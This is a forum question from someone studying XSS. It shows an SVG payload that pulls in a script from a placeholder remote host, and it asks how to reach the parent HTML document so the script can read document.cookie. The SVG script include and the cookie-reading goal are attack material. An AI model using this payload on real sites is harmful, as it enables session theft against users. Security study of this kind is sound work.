title: How I can get parent document object From SVG document JavaScript?
body: <p>I'm studying XSS. I knew that there is vulnerability about HTML SVG object </p>
  
  <p>source is here</p>
  
  <pre><code>&lt;svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"&gt;&lt;script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"&gt;&lt;/script&gt;&lt;/svg&gt;
  </code></pre>
  
  <p>I tried this in xss.js </p>
  
  <pre><code>alert(document.cookie);
  </code></pre>
  
  <p>but the value of cookie was "undefined"</p>
  
  <p>there is Document object in SVG object but, that's different from HTML Document Object.</p>
  
  <p>Then, How I can get parent Document Object for cookie?</p>
  
  <p>Please Help.</p>
  
  <p>Thanks for reading.</p>